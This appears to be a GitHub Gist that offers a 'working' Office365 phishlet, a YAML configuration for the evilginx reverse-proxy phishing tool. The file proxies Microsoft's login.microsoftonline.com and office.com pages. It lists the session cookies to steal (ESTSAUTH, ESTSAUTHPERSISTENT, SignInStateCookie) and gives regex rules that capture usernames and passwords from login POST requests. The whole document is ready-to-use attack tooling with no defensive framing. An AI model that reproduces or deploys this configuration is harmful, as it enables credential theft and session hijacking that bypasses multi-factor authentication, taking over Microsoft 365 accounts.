Last active
July 20, 2022 07:45
-
-
Save hazcod/887dc2bbc3eb90ac9fd7788867b23416 to your computer and use it in GitHub Desktop.
Working Office365 phishlet for evilnginx2.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
author: '@hazcod' | |
min_ver: '2.3.0' | |
proxy_hosts: | |
- {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true} | |
- {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing:false} | |
sub_filters: | |
- {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']} | |
- {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true} | |
auth_tokens: | |
- domain: '.login.microsoftonline.com' | |
keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie'] | |
- domain: 'login.microsoftonline.com' | |
keys: ['SignInStateCookie'] | |
auth_urls: | |
- '/kmsi' | |
credentials: | |
username: | |
key: '(login|UserName)' | |
search: '(.*)' | |
type: 'post' | |
password: | |
key: '(passwd|Password)' | |
search: '(.*)' | |
type: 'post' | |
login: | |
domain: 'login.microsoftonline.com' | |
path: '/' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment